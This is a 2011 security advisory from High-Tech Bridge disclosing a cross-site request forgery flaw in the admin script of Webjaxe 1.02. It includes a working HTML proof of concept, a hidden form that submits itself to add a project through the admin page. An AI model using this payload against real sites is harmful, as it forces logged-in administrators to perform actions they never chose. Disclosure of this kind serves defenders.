Vulnerability ID: HTB22927 Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_webja xe.html Product: Webjaxe Vendor: Webjaxe ( http://media4.obspm.fr/outils/webjaxe/en/ ) Vulnerable Version: 1.02 Vendor Notification: 29 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/php/partie_administrateur/administration.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: [html] <form action="http://[host]/php/partie_administrateur/administration.php" method="post" name="main" id="main"> <input type="hidden" name="action" value="ajouter_projet"> <input type="hidden" name="titre_projet" value="123123"> <input type="hidden" name="ajouter" value="Add"> <input type="hidden" name="submit" value="OK"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script> [/html]